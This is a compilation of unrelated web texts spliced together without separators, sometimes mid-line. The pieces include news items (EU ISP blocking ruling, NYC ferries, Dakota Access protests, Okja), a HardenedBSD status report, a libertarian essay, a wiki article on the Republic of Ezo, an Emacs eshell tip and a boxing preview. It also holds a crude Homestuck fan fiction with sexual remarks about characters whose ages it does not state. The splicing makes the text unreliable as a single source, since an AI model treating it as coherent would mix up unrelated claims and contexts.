Even though undocumented immigrants make up just 5% share of the civilian workforce in the U.S., they were overrepresented in the agriculture (17%) and construction (13%) sectors, as well as in the leisure and hospitality industry (9%). And they were under-represented in some sectors such as the educational and health services sector and the financial and information industries where workers may, for example, require licenses to practice.
Get a daily roundup of the top reads in personal finance delivered to your inbox. Subscribe to MarketWatch's free Personal Finance Daily newsletter. Sign up here.We at HardenedBSD have decided to do a periodic (likely quarterly) status report in order to keep the community informed of what's going on in HardenedBSD. So here goes the first status report:
The Call for Donations is going well. We have raised nearly $1,000 USD of our goal of $7,000 USD. The Internet Systems Consortium, the people behind BIND and ISC-DHCPD, have offered to match donations up to $1,000 USD. We've decided to run the donations until November 30th. We appreciate all the help and support from the community. We're excited to see where this round of donations takes us. We plan to start the 501(C)(3) organization investigation in January.
We added Brian Salcedo as an official developer, tasked with rewriting secadm nearly from scratch. He has been hard at work revamping how the rules are stored in the kernel. As part of the rewrite, he'll include ugidfw(8) functionality. The basic rewrite is 100% complete and pending a thorough code review. We're hoping to have a beta released soon.
We have started storing a cache of secadm rules for applications that are known to misbehave with our awesome enhancements. If you have a secadm rule for an application and would like to see it up there, please send us either a Pull Request on GitHub or email us a patch. Feel free to also drop in IRC and let us know. Oliver has created a little script to help in rule validation.
Shawn has been working with the OPNSense team to deliver quality builds based on HardenedBSD. Experimental builds have been posted here, the latest build being hbsd-exp-05. Work is in progress to provide a binary upgrade path and an official download location. Shawn has also been working with Baptiste Darrousin from the FreeBSD project to test his RELRO patch. The RELRO patch is in the hardened/current/unstable branch and is undergoing extensive testing, including a full package build with a number of packages being compiled with RELRO. We hope to have the RELRO patch merged into the hardened/current/master branch within the next week or two. Shawn is also preparing to give a number of presentations. He'll be speaking at vBSDcon, DerbyCon, and BSidesDC. The BSidesDC will be a recorded, four-hour presentation diving deep into HardenedBSD's internals.
Oliver has been working hard on bringing FORTIFY_SOURCE to FreeBSD for his Google Summer of Code project. He has made a lot of progress. He's currently splitting the work out into smaller patches for easier review by the FreeBSD development team. It builds fine with both clang and gcc. He also backported our ASLR code to 10-STABLE. Oliver also has been keeping tabs on HardenedBSD's infrastructure, ensuring everything runs smoothly. We had a failing disk earlier this week on our Jenkins machine and we got that replaced within a few hours. The main CPU fan pinout on the motherboard of the package building server has stopped working. Luckily there's a second pinout for an additional CPU fan. The motherboard should be under warranty. As a bandaid, the CPU fan was moved to the second pinout. We'll be working on replacing the motherboard through the normal warranty process soon.
A user reported having issues with golang on HardenedBSD. After some digging, we found out that in golang versions prior to 1.5, COMPAT_FREEBSD32 needs to be enabled in your kernel config. We have removed it from the HARDENEDBSD kernel config. Golang version 1.5, which is already in the ports tree, fixes this. We will be following up with a new package build soon.Recent weeks have seen much speculation by pundits about the nature of “libertarian populism.” For those who regard all of libertarianism as an ideological whitewash for plutocracy, libertarian populism is clearly a matter of pulling the wool over the eyes of the common man. To those on the other side of the debate, who are no less chronically obsessed with electoral politics, libertarian populism is the GOP’s pathway back to relevance and viability. Here, however, I would like to offer a compendious introduction to a libertarian populism very different from both of these variants, and one informed instead by the insights of Austrian School libertarians such as Murray Rothbard.
The pivot point of libertarian populism is its hostility toward the cronyism that presently characterizes the political economy of the United States. Relationships between powerful elites in government and industry have, libertarian populists argue, cemented into an immovable and perennial force that creates privilege for the few at the expense of the many — hence, libertarian populism. This populism addresses itself to everything from lobbyists to bailouts and to the Federal Reserve System. In point of fact, the “End the Fed” movement, the germ of which was Ron Paul’s stout emphasis on the issue, was arguably among the prime movers and mainsprings of the particular moment of libertarian populism that we’re witnessing right now. Those influenced by the Austrian School and Rothbardian libertarians, contrary to the empty jeremiads of our critics, have always called attention to the often-incestuous relationships between all things big, irrespective of whether they are found in the “public” or the “private” sector. We have been on the forefront of demonstrating the causal link that connects misallocation to corporate welfare in all of its myriad embodiments that show why government intervention in the economic sphere is profoundly harmful, particularly for ordinary working people. The seeming fixation on the Federal Reserve then, is not a randomly chosen fetish of libertarians, but a recognition of the sweeping, harmful implications of Fed policy. Were more Americans to understand the Fed’s role in, for instance, American wars and economic instability, they might see that real libertarian populism is anything but a calculated political rebranding. Rather, libertarian populism simply is genuine, radical libertarianism, the kind that takes the state for what it is — a small criminal class that has successfully institutionalized economic spoliation.
Indeed the principled radical defense of liberty, property, and free markets has always been populist as a matter of course. The very emergence of such a defense represented, in its infancy, an outright attack on entrenched mercantile interests during a time when the mere suggestion of the separation of economy and state was regarded as bare apostasy. As Jeff Riggenbach showed in his introduction to revisionism, establishing the true divide as between authoritarianism and libertarianism, the latter logically belongs on the Left — as the successor to classical liberalism. Rothbard placed this liberal tradition in square opposition to conservatism, to “the party of reaction, the party that longed to restore the hierarchy, statism, theocracy, serfdom, and class exploitation of the old order.” Libertarian populism’s cynical naysayers, those who scoff at the idea of a libertarian concern for middle and working class Americans, may be surprised to learn that Rothbard talked about hierarchy and class exploitation in such a way; they shouldn’t be. And given such historical antagonism toward conservatism, the stale stereotype of the libertarian as nothing more than a “pot-smoking Republican” ought to be utterly insulting to actual libertarians. That this kind of caricature can be traced largely to the abortive (in the author’s view) project of Fusionism might tell us something about the relative merits of that conceptual undertaking. The Republican Party is and always has been the party of elite government courtiers, the inheritor of the Whig legacy, the party of centralized federal dominance, and of special favors and subsidies to influential business interests. All of this is of course the opposite of what libertarians have advocated.
Quite contrary to the economically nescient disinformation so often spouted about libertarians, we don’t want unbridled free markets because we want to see a handful of powerful companies lord over American commerce. Instead, our opposition to regulations, licenses and other legal barriers to market entry stems in large part from a cultivated understanding that these interventions don’t actually protect consumers or working people. Only full, open competition can yield the kinds of desirable consumer protections that are so frequently and wrongly attributed to the mechanisms of big government. It is ironic that the loudest crusaders for a larger, more active federal government are often those who never tire of pointing out that Washington is bought and paid for by connected corporations. Their reasoning would make them libertarians but for the shackles that public schooling and the works of court intellectuals have placed upon critical thinking, while teaching reverence for the state.
For decades radical libertarians of the Rothbardian strain have shown that at all times, throughout American history, big business has desired and fought for a big state. They have even gone as far as showing that the U.S. Constitution itself represents at least a partial victory for the forces of centralization, statism, and mercantilism. To paraphrase Lysander Spooner, even if the Constitution, by itself, cannot be called to account for the present state of affairs, for the mammoth American state and its crises, it has certainly proved impotent to forestall this series of developments. As the French liberal and disciple of J. B. Say, Charles Dunoyer, wrote, a truly liberal society “demands the abolition of all privilege, of all monopoly, of all evil and violent restriction.” And what could be more populist — more congruous with a genuinely “power to the people” mindset — than to devolve economic power to a system of free and voluntary exchange as opposed to arbitrary decisions by elites in government? Libertarian populism is onto something, a fact that both its champions and detractors have perceived. But the genuine article isn’t and can’t be a political movement; on the contrary, the purest libertarian populism is bound to show itself as an enemy of politics and an uncompromising foe of the state.In a verdict handed down today the Court of Justice of the European Union confirmed that EU Internet service providers can be required to block access to sites engaged in copyright infringement. The decision follows the advice of the Advocate General in a case involving the now-defunct streaming site Kino.to.
Although the dream of blocking sites in the United States was completely crushed along with the now-dead SOPA legislation, music and movie companies across Europe have enjoyed a much smoother ride.
Torrent sites such as The Pirate Bay and KickassTorrents are blocked in several countries around the EU and in the UK, for example, dozens of ‘pirate’ domains are now blocked at the ISP level.
A notable case originating from Austria, however, has been on hold pending a decision from the Court of Justice of the European Union. The dispute saw movie companies Constantin Film Verleih and Wega Filmproduktionsgesellschaft complain that local ISP UPC Telekabel Wien had been providing subscriber access to illegal streaming site Kino.to, a site now shuttered following police action.
The movie companies previously obtained interim injunctions to have UPC block the site, despite UPC arguing that it couldn’t be held responsible for a site that it had absolutely nothing to do with. UPC also noted that there was no court ruling indicating its customers had broken the law.
To settle the matter the Austrian Supreme Court asked the Court of Justice to clarify whether a company that provides Internet access to those using an illegal website could be required to block that site. Today the Court of Justice handed down its long-awaited decision.
The Court found that a person who makes copyrighted material available to the public without permission from rightsholders is using the services of the Internet service provider of the people accessing that content. EU law does not require a specific relationship between the person infringing copyright and the intermediary against whom any injunction has been issued, the Court found.
Addressing UPC’s concerns that none of its customers had been deemed by a court to have acted unlawfully, the EU Court said that proof was not necessary as the law is in place not only to bring an end to infringement, but also to prevent it.
The EU Court added that since any ISP targeted by an injunction is free to carry out its obligations in a way that fits its circumstances, blocking orders do not therefore restrict an ISP’s freedom to conduct its business.
Any injunction must, however, must be proportional so as not to unnecessarily stop subscribers from lawfully accessing information. Furthermore, any blocking measures must have the effect of preventing access to copyrighted content or at least make it more difficult. National courts are required to ensure that these conditions are met.
The take-home from today’s ruling, which follows last year’s advice from the Advocate General, is clear: ISPs can be required to block access to infringing sites but any injunction must be balanced and proportional.South Florida is drowning.
You see it when city streets flood with the rising tide, when garbage cans float down sidewalks, when you have to wade through seawater to get to your car in the morning. And yet, Florida’s own senator and presidential hopeful Marco Rubio has long ignored what is happening back home — even denying that climate change is happening. At a recent campaign event in Iowa, Rubio said that as president he would not support policies to address climate change, arguing that they would “destroy” the economy. “The climate has always changed,” he said. “There’s never been a time when the climate has not been changing.”
It’s a tired argument, one debunked many times over, and South Florida’s leaders are sick of it. Now, they’re taking action.
The mayors of 15 South Florida towns, including Miami and Fort Lauderdale, have reached out to Rubio, asking him to consider the costs of climate change in the region. They wrote in a open letter:
As mayors representing municipalities across Florida, we call on you to acknowledge the reality and urgency of climate change and to address the upcoming crisis it presents our communities. Our cities and towns are already coping with the impacts of climate change today. We will need leadership and concrete solutions from our next president. As a candidate for that office hailing from Florida, we ask you to meet with us to discuss the future of our communities in a warming climate. We are already experiencing the effects of a changing climate. Sea levels off the coast of South Florida rose about eight inches in the twentieth century. As a result, we have seen more tidal flooding, more severe storm surges, and more saltwater intrusion into aquifers. By 2050, mean sea level around Florida is expected to rise about a foot, a shift which could wipe out as much as $4 billion in taxable real estate in the four-county region of Southeast Florida. At three feet of sea level rise, the loss could total $31 billion, with large sections of the Everglades, the Florida Keys and the Miami metropolitan region under water.
It’s a salient point: Even if Rubio doesn’t care about the suffering of people or of ecosystems, surely he cares about money — and with losses in the billions, the costs aren’t easy to ignore.
Rubio, as the mayors point out, hasn’t always been so wrong-headed about climate change. “In 2006,” the mayors wrote, “you acknowledged the reality of climate change and promoted solutions including energy efficiency measures, tax incentives for renewable energy, and alternative fuels. You supported hybrid vehicles because they save money ‘while reducing emissions and helping to curb global warming.'” But that was before Republicans decided en masse that climate action was a Democrat issue.
The mayors conclude their letter with a request: They ask Rubio to meet with them next month, to listen and learn about their experiences on the front lines of climate change. This meeting seems unlikely to happen. Rubio will be busy campaigning in New Hampshire, South Carolina, and Nevada then, with climate change nowhere on his agenda.The future of public transportation in New York City is taking shape on the bayous of Louisiana and Alabama.
Shipyard workers in the two states are scrambling to finish the city's new ferry fleet in time for a launch this summer, just a little more than a year after it was first proposed.
The city is making a $335 million bet that the service will attract millions of passengers traveling between Manhattan and waterfront neighborhoods in Brooklyn, Queens and the Bronx that are now a distant walk from overcrowded subways.
Transportation infrastructure in the city has a tendency to take many years, if not decades, to get built, but in this case workers are under pressure to get the new ferries and docks built in a New York minute.
Horizon Shipbuilding, in Bayou La Batre, Alabama, has 100 employees - including 80 hired last summer - working to fill its order of 10 ferries for the 20-boat fleet. The rest are being built at the Metal Shark shipyard in Franklin, Louisiana, about 50 miles (80 kilometers) southwest of Baton Rouge.
Inside Metal Shark's huge boat-building shed last week, several of the $4 million catamaran vessels were in various stages of completion. Sparks and smoke flew around workers' protected heads as they welded one lightweight aluminum ferry frame. Other workers stood between the catamarans' two pontoons, sanding the rough metal. Electricians were busy wiring the navigation system. Cranes carried pieces of tubing to the ferry-to-be.
"A project like this is unique," said Junior Volpe, director of special projects for Hornblower Inc., the San Francisco-based company that will operate the ferry system in partnership with New York City.
More than a year ago, when they were still negotiating the construction of the ferries in such a short time period, "a lot of people were, like, 'Wow, I don't think this is ever going to happen.' And to prove that things are possible, here we are. We're sitting on the first ferry that's going to be delivered here at Metal Shark - and it's amazing," Volpe said.
City transportation officials say the new ferry fleet will speed up travel time in this city of islands by as much as two-thirds and come at a competitive price - $2.75 - the same as a subway fare. That compares to the limited ferry service that currently takes commuters and tourists across the Hudson and East Rivers at $4 to $6 per ride. New York's fifth borough, Staten Island, is served by its famed free ferry service that offers about 23 million rides a year.Turtles on the Wire: Understanding how the OS uses the Modern NIC
The modern networking card (NIC) has evolved quite a bit from the simple Ethernet cards of yesteryear. As such, the way that the operating system uses them has had to evolve in tandem. Gone are the simple 10 Mbit/s copper or (BNC) devices. Instead, 1 Gb/s is common-place in the home, 10 Gb/s rules the server, and you can buy cards that come in speeds like 25 Gb/s, 40 Gb/s, and even 100 Gb/s! Speed isn’t the only thing that’s changed, there’s been a big push to virtualization. What used to be one app on one server, transformed into a couple apps on a few Hardware Virtual Machines, and these days can be hundreds of containers all on a single server.
For this entry, we’re going to be focusing on how the Operating System sees NICs, what abstractions they provide together, how things have changed to deal with the increased tenancy and performance demands, and then finally where we’re going next with all this. We’re going to focus on where scalability problems have come about and talk about how they’ve been solved.
The Simple NIC
While this is a broad generalization, the simplest way to think of a networking card is that it has five primary pieces:
A MAC Address that it can use to filter incoming packets. A ring, or circular buffer, that packets are received into from the network. A ring, or circular buffer, that packets are sent from to the network. The ability to generate interrupts. A way to program all of the above, generally done with PCI memory-mapped registers.
First, let’s talk about rings. Both of these rings are considered a type of circular buffer. With a circular buffer, the valid region of the buffer changes over time. Circular buffers are often used because of the property that they consume a fixed amount of memory and they handle the model of a single producer and a single consumer rather well. One end, the producer, places data in the buffer and moves a head pointer, while another end, the consumer, removes data from the buffer, moving the tail pointer. For the rest of this article, we won’t be using the term circular buffer, but instead ring, which is commonly used in both networking card programming manuals and operating systems to describe a circular buffer used for packet descriptors.
Let’s go into a bit more detail about how this works. Rings are the lifeblood of a networking card. |
authoritarian equilibrium this September, the Kremlin will be interested to further consolidate political and institutional arrangements that can help Russia’s leadership maintain its monopoly on power for some time to come.
Vladimir Gel'man is Professor at the European University at St. Petersburg and Distinguished Professor at the University of Helsinki.
[PDF]"Republic of Japan" redirects here. For sovereign state in East Asia, see Japan
The Republic of Ezo (蝦夷共和国, Ezo Kyōwakoku) was a short-lived state established in 1869 by a part of the former Tokugawa military on the island of Ezo, the large but sparsely populated northernmost island in modern Japan, now known as Hokkaido. Ezo is notable for being the first government to attempt to institute democracy in Japan.
Background [ edit ]
After the defeat of the forces of the Tokugawa shogunate in the Boshin War (1869) of the Meiji Restoration, a part of the former shōgun's navy led by Admiral Enomoto Takeaki fled to the northern island of Ezo (now known as Hokkaido), together with several thousand soldiers and a handful of French military advisers and their leader, Jules Brunet. Enomoto made a last effort to petition the Imperial Court to be allowed to develop Hokkaido and maintain the traditions of the samurai unmolested, but his request was denied.[1]
History [ edit ]
Establishment [ edit ]
The governmental hall of the Republic of Ezo, inside the fortress of Goryōkaku
On January 27, 1869 (New Style), the independent "Republic of Ezo" was proclaimed, with a government organisation based on that of the United States, with Enomoto elected as its first president (sosai). Elections were based on universal suffrage among the samurai class.[2] This was the first election ever held in Japan, where a feudal structure under an Emperor with military warlords was the norm. Through Hakodate Magistrate Nagai Naoyuki, attempts were made to reach out to foreign legations present in Hakodate to obtain international diplomatic recognition.
The treasury included 180,000 gold ryō coins Enomoto retrieved from Osaka Castle following Shōgun Tokugawa Yoshinobu's precipitous departure after the Battle of Toba–Fushimi in early 1868.[3]
During the winter of 1868–1869, the defences around the southern peninsula of Hakodate were enhanced, with the star fortress of Goryōkaku at the centre. The troops were organised under a joint Franco-Japanese command, commander-in-chief Ōtori Keisuke being seconded by the French captain Jules Brunet, and divided into four brigades, each commanded by a French officer (Fortant, Marlin, Cazeneuve and Bouffier). The brigades were themselves divided into two half-brigades each, under Japanese command.
Brunet demanded (and received) a signed personal pledge of loyalty from all officers and insisted they assimilate French ideas. An anonymous French officer wrote that Brunet had taken charge of everything:
“... customs, municipality, fortifications, army; everything passed through his hands. The simple Japanese are puppets whom he manipulates with great skill... he has carried out a veritable 1789 French Revolution in this brave new Japan; the election of leaders and the determination of rank by merit and not birth — these are fabulous things for this country, and he has been able to do things very well, considering the seriousness of the situation...[4] ”
Defeat by Imperial forces [ edit ]
Imperial troops soon consolidated their hold on mainland Japan, and in April 1869 dispatched a fleet and an infantry force of 7,000 men to Hokkaido. The Imperial forces progressed swiftly, won the Battle of Hakodate, and surrounded the fortress at Goryōkaku. Enomoto surrendered on June 26, 1869, turning the Goryōkaku over to Satsuma staff officer Kuroda Kiyotaka on June 27, 1869.[5] Kuroda is said to have been deeply impressed by Enomoto's dedication in combat, and is remembered as the one who spared the latter's life from execution. On September 20 of the same year, the island was given its present name, Hokkaido (Hokkaidō, literally "Northern Sea Region").[5]
Perspectives [ edit ]
While later history texts were to refer to May 1869 as being when Enomoto accepted Emperor Meiji's rule, the Imperial rule was never in question for the Ezo Republic, as made evident by part of Enomoto's message to the Daijō-kan (太政官, Dajōkan) at the time of his arrival in Hakodate:
The farmers and merchants are unmolested, and live without fear, going their own way, and sympathising with us; so that already we have been able to bring some land into cultivation. We pray that this portion of the Empire may be conferred upon our late lord, Tokugawa Kamenosuke; and in that case, we shall repay your beneficence by our faithful guardianship of the northern gate.[6]
Thus from Enomoto's perspective, the efforts to establish a government in Hokkaido were not only for the sake of providing for the Tokugawa clan on the one hand (burdened as it was with an enormous amount of redundant retainers and employees), but also as developing Ezo for the sake of defence for the rest of Japan, something which had been a topic of concern for some time. Recent scholarship has noted that for centuries, Ezo was not considered a part of Japan the same way that the other "main" islands of modern Japan were, so the creation of the Ezo Republic, in a contemporary mindset, was not an act of secession, but rather of "bringing" the politico-social entity of "Japan" formally to Ezo.[7]
Enomoto was sentenced to a brief prison sentence, but was freed in 1872 and accepted a post as a government official in the newly renamed Hokkaido Land Agency. He later became ambassador to Russia, and held several ministerial positions in the Meiji Government.
Notes [ edit ]
References [ edit ]
Ballard C. B., Vice-Admiral G.A. The Influence of the Sea on the Political History of Japan. London: John Murray, 1921.
. London: John Murray, 1921. Black, John R. Young Japan: Yokohama and Yedo, Vol. II. London: Trubner & Co., 1881.
, Vol. II. London: Trubner & Co., 1881. Hillsborough, Romulus (2005). Shinsengumi: The Shogun's Last Samurai Corps. Tuttle Publishing. ISBN 0-8048-3627-2.
Onodera Eikō, Boshin Nanboku Senso to Tohoku Seiken. Sendai: Kita no Sha, 2004.
. Sendai: Kita no Sha, 2004. Sims, Richard. French Policy towards the Bakufu and Meiji Japan 1854–1895, Richmond: Japan Library, 1998.
Suzuki, Tessa Morris. Re-Inventing Japan: Time Space Nation. New York: M. E. Sharpe, 1998.
. New York: M. E. Sharpe, 1998. Yamaguchi, Ken. Kinsé shiriaku A history of Japan, from the first visit of Commodore Perry in 1853 to the capture of Hakodate by the Mikado's forces in 1869. Trans. Sir Ernest Satow. Wilmington, Del., Scholarly Resources, 1973.
Media related to Republic of Ezo at Wikimedia Commons
Coordinates:McLaren has confirmed its next supercar, the successor to the outrageous P1. The upcoming model will be part of the automaker’s Ultimate Series and is claimed to be the most track-focused road legal car the company has ever made.
The new car is part of McLaren’s Track22 business plan and will be revealed in the first quarter of 2018, ahead of another Ultimate Series model codenamed BP23 which McLaren says is a hyper-GT car.
Positioned above the automaker’s core Super Series, the Ultimate Series cars are produced in limited numbers, with a distinct purpose, and currently the lineup includes the McLaren P1 and P1 GTR.
Although the new car is road legal, McLaren says its practicality and comfort are being sacrificed in order to provide the most extreme driving experience around a track. The car’s design takes on a “form follows function” philosophy.
According to Autocar, the new vehicle, internally named the P15, will pack the 720S’ 4.0-liter turbocharged V-8 but with upgraded internals and a more powerful turbocharger, producing an impressive 789 hp. That is 79 hp more than the 720S but 115 hp less than the P1’s hybrid powertrain.
However, thanks to the use of McLaren’s Monocage II carbon fiber tub and other weight saving measures, the P15 is expected to weigh less than 1,300 kilograms (which is roughly 2,870 pounds), much lighter than the P1’s 3,400-pound curb weight, surpassing its power-to-weight ratio.
The P15 should challenge or top the P1’s 9.8-second quarter-mile time that Motor Trend recorded when comparing the coupe to the Porsche 918 Spyder.
Expect only about 500 examples to be produced and a price tag of at least $1,000,000. McLaren will release more details before the end of the year.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 16, 2016, 5:21 AM GMT / Updated Nov. 16, 2016, 7:04 AM GMT By Daniel A. Medina and Chiara A Sottile
More than 39 peaceful protesters were arrested for linking arms and then sitting in the middle of Lafayette Street in lower Manhattan. The NYPD warned the protesters - who were praying, singing, and chanting "water is life" - that they would be arrested for disorderly conduct if they refused to move. Nov. 15. Chiara Sottile / NBC News
Thousands gathered across the country Tuesday in coordinated demonstrations to protest construction of the controversial Dakota Access Pipeline.
Dozens were arrested in what organizers called a "National Day of Action" by self-proclaimed "water protectors" near Army Corps of Engineers offices from Los Angeles to New York City. The protests planned for more than 300 communities across the U.S. were an intended show of solidarity with the Standing Rock Sioux Indian tribe, which says its drinking water and way of life are threatened by the proposed pipeline.
Related: Army Corps Says Pipeline Can't Continue Without Tribe Input
In Los Angeles, an estimated 1,500 protesters gathered peacefully in the financial district, while hundreds participated in a march at Daley plaza in Chicago. Sen. Bernie Sanders joined a crowd in front of the White House, and police in riot gear met protesters marching in Denver.
In Mandan, North Dakota, about 40 miles from where the pipeline would cross on the border of the Standing Rock Sioux Indian Reservation, 350 protesters blocked a railroad with a pickup truck and other debris. More than 25 people were arrested, some on felony charges, according to the Morton County Sheriff Department.
Over 1,500 anti-Dakota Access Pipeline protesters marched in Lower Manhattan, many holding signs and placards decrying the pipeline, and others warning of a bleak future for their cause under a Trump administration.
After the rally, approximately 39 people staged a sit-in just opposite the U.S. Army Corps of Engineers' office. The group repeatedly chanted "protect our water" as dozens of police officers surrounded them threatening arrest for disorderly conduct. All were arrested, according to police.
Earlier Tuesday, a half-dozen Iraq War veterans presented a letter to the Army Corps office requesting the agency deny Energy Transfer Partners the easement permit it needs to complete the 1,170-mile pipeline in North Dakota. The letter, addressed to U.S. Defense Secretary Ash Carter, urged the Corps to "lead by moral example."
Army Corps staff assured the veterans that their efforts — along with the protests and mass actions of thousands across the country since August — had been recognized by the agency, said Nicole Goodwin, one of the veterans present at the meeting.
"I feel that as a former solder [in Iraq], I was on the wrong side of history," Goodwin told NBC News. "Now I feel that I'm on the right side of history — as a mother, as a citizen of the United States and as a water protector."
Tara Houska, a Director for Honor the Earth, traveled from Standing Rock to New York City to speak at the rally. "Because of the power of social media and the millions of those at Standing Rock, [the Army Corps] are going to invite the tribe in to discuss their concerns," Houska said.
Protesters of the Dakota Access Pipeline chant, "This is our future, this is our drinking water" at a peaceful demonstration in lower Manhattan on Nov. 15. Chiara Sottile / NBC News
The Corps on Monday wrote in a letter to the tribe and the company behind the pipeline saying more analysis and discussion with the tribe is necessary before the pipeline’s construction can take place under the Missouri River.
In response, Energy Transfer Partners — the company building the pipeline – filed for a court judgment Tuesday that would allow it to finish the pipeline. “Dakota Access Pipeline has waited long enough to complete this pipeline,” Energy Transfer Partners CEO Kelcy Warren said in a statement. “It is time for the Courts to end this political interference and remove whatever legal cloud that [sic] may exist over the right-of-way beneath federal land at Lake Oahe,” said Warren.
"It’s important for us to show solidarity across the country for those of us who can’t be there at Standing Rock," said Korina Emmerich, a Brooklyn resident and member of the Puyallup tribe, who participated in Tuesday's action. "It’s so important to show that we are not stopping until they stop building the pipeline," said Emmerich, carrying a sign that read "Don’t sign our Mother Earth over to pollution, war + greed."
The fate of the project lies with the U.S. Army Corps of Engineers. For weeks, the agency has been conducting a federal environmental review of the land in question. In its letter Monday, the Corps did not provide a timeline for its final decision.I found something that seems to work OK upon initial testing: essentially rebind <tab> to pcomplete-std-complete, but since that function isn't interactive for some reason, you need to wrap it:
(define-key eshell-mode-map (kbd "<tab>") (lambda () (interactive) (pcomplete-std-complete)))
The pcompete-std-complete tries to use the completions written for pcomplete with the standard completion UI, which ivy by default will override (with the very recent update, they appear in a nice overlay right in the eshell buffer near point!).
The comments in the source code of pcomplete-completions-at-point (which pcomplete-std-complete depends on) mention a couple of potential problems:
;; FIXME: it only completes the text before point, whereas the ;; standard UI may also consider text after point. ;; FIXME: the `pcomplete' UI may be used internally during ;; pcomplete-completions and then throw to `pcompleted', thus ;; imposing the pcomplete UI over the standard UI.
I think the first one won't affect me, since I don't think I ever press <tab> except at the end of the input line. I haven't seen the second problem surface either, so far.
EDIT: For those unfamiliar with eshell's quirks (this is a euphemism), maybe I should add that to rebind eshell's key as suggested above you should put this in your init file:
(add-hook 'eshell-mode-hook (lambda () (define-key eshell-mode-map (kbd "<tab>") (lambda () (interactive) (pcomplete-std-complete)))))Hello everyone! We have some exciting news and content to share with you so let's just dive right in.
We're still alive!
We've been working diligently to give you the best experience possible. We've been giving private monthly updates to our Kickstarter backers, so here is the much overdue public update.
I'm Brandon the new community manager. The rest of the team is always drowning (yay or nay on the water humor?) in technical work so I'll be the one posting when I'm not too distracted by Magic the Gathering articles. Got any questions about the game? Want to know my favorite ice cream? Feel free to ask on reddit or twitter :)
We ditched our planned episodic structure--Diluvion now will be released as a full package
We were originally planning to release the game in several parts, but now we are going to release the entire game at once.
Unfortunately, this means the estimated release date is pushed back, but we are confident that this will provide the best experience for everyone. With that said, we are planning to finish late 2016.
Concept art, screenshots, and more!
And we couldn't have an update without sharing some fun things.
I sit right next to our artist, Leo, who has a sketchbook full of sweet concept art for capsules. Capsules are where people live when the whole world is underwater.Continuing a controversy started at Cannes, more movie theaters outside of the U.S. are attempting to stage a revolt against Netflix for flouting traditional distribution strategies. Now, per The Korea Times (via Deadline), South Korean chains are refusing to screen the company’s upcoming Okja should it go forward with its plan to make the movie available at the same time in theaters and online.
The most significant player, CJ GGV, is saying that it won’t show the movie, and advocating that the company wait three weeks following a theatrical release to put it on its platform. A source from the company told The Hollywood Reporter: “Netflix has completely disregarded the ecosystem of the Korean film market.” Meanwhile, Lotte Cinema will hold out if the streaming service won’t budge and will ultimately schedule a later “re-release,” per The Korea Times. Yet another chain hasn’t made any decisions but also expressed that it isn’t happy.
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This is especially significant given that South Korea is the home country of Okja director Bong Joon-Ho, and is one of only three nations that was going to get the tale of a girl and her super pig on the big screen. The others are the U.S. and the U.K. During Okja’s Cannes premiere, audiences booed the Netflix logo.AN hey guys i tried to put lots of detail in this one. hope you enjoy! also DO NOT TELL ME THE END OF HOMESTUCK OK
laura and i went to lunch. we planned it in advance and i was excited now that we were married we had hardly ha time for eahc other. she walked in holding her hands with her husband and i rolled my eyes because i just wanted it to be be girls night.
the person she was married to, her husband,w as equius. it was actually kind of sweet beecause equius hated cursing and premaritial sex because he met laura and laura was so punk rock because she met equius but they tamed each other and now laura was significantly less punk rock and equius was more chill and he even said things like ass and doodoo and puke and sometimes he said worse words than that but then he started to hit himself. laura did not like it when eequius hit himself because he was so strong he would break his own bones. i was still mad that equius hurt me that one time because i thoiught his friend nepeta was the sburb gossip person.
it turns out the red swirl who wrote for sburb gossip was aradia and that she loved gissip and starting trouble.
sometimes she would trip people in the hall because she was so miserable and bored with life and needed entertainment.
equius shakingly drank some tea in a tiny mug in his hand. i glared at him angrily while i enjoyed a delicious cookie with a caramel center.
laura asked me if i wanted to get a tattoo and i said no. she said she didnt want one either now that she was much less punk rock. even her hair was less punk rock because it was a blue fashion mullet and not a pink mohawk like it was before she met equius and became less punk rock.
i thought about eridans tattoo for me hornily and started to imagine his biceps and how they looked when he masturbates for me when i am on his period. he didnt like blood unless it was a fish so he just let me watch me him masturbate and it was sooo hot i wished i was pregnant just so i didnt have amy period.
then i got sad because my baby died and eridan was so upset by it.
i frowned and didnt even care that the lunch lady meenah was handing us free food.
i sighed into the bbq chicken with fried rice and just then i noticed someone chewing very loudly behind me.
it was terezi and she was eating a watermelon with her mouth open and i could ear it curnching in her mouth over and over again. ever since she got into the beatles and anime she stopped being polite because anime and the sixtys made her want to smoke human weed.
her tumblr was now just a loot of pot stuff with sixties sstuff and anime quotes. she was so annoying now and always smelled like mairjuana
she was breathing down my neck so i slapped her and she punched me.
just then eridan came in. his cape was flowing as he ran to save me from the floor under the table. he was so gorgeous and muscular and his purple steak in his hair flowed wit the air. he took me up from under the table and scrammed LEAVE MY WIFE ALONE YOU HARLAT which made everyione gasp because no one knew we were married except us
laura got so angry she shot up from the table and walked off with rage. eridan followed her and was telling her to calm down while i looked at eridan with disbelief that he said that. laura and ewquius left and i kissed eridan because i was angry even though i was horny af from his new outfit.
everyone could not stop talking about me and eridan being married so eridan shouted that he was kidding and people went back tot heir food. dirk still looked suspiscious but jake was waiing for his next spoonful of pudding which was vanilla and cookie so he just stopped being supicious.
eridan and i ate the lunch for four people but it was no problem because we both have big appetites even though we are always thin.
terezi came back and she was mad so we gave her a meal since she always had the munchies.
she went up to eridan and licked his neck which annoyed me but he just shook his head and ate more salad
gamezee tried to join us but i was so horny and gamzee was my bff so he always knew when i was horny and i didnt want him telling eridan how horny i am.
just then, somebody walked it...
IT WAS DAVE!Dynamite punching Light-Heavyweight talent Anthony Yarde will face undefeated Canadian Ryan Ford for the Vacant WBO Inter-Continental strap at London's Copper Box Arena on September 16th, live on BT Sport and BoxNation.
The match-up doubles up as an Official Final Eliminator for the Commonwealth Title as powerhouse Yarde aims to make it three belts in three fights at the East End venue.
Undefeated Yarde (12-0, 11 KO’s) claimed the Southern Arena title by defeating Chris Hobbs in May and added the WBO European strap in July with a first round demolition of Hungarian Richard Baranyi, along with a number eight spot in the organisation's World rankings.
Ryan ‘The Real Deal’ Ford is unbeaten in 12 fights, with seven of his wins coming inside the distance. The Edmonton resident is determined to inflict a first career defeat on rising star Yarde.
“I want to test myself and keep moving on to new levels," said Yarde. "It doesn’t make any sense to take a step back when I can keep moving towards my ultimate goal – a crack at winning a World Title.
“Frank Buglioni knocked out Hosea Burton – why would I want to fight him? I already have a higher World ranking than both of them and I'm a European Champion. When I come through this fight I’ll have a shot at yet another belt.
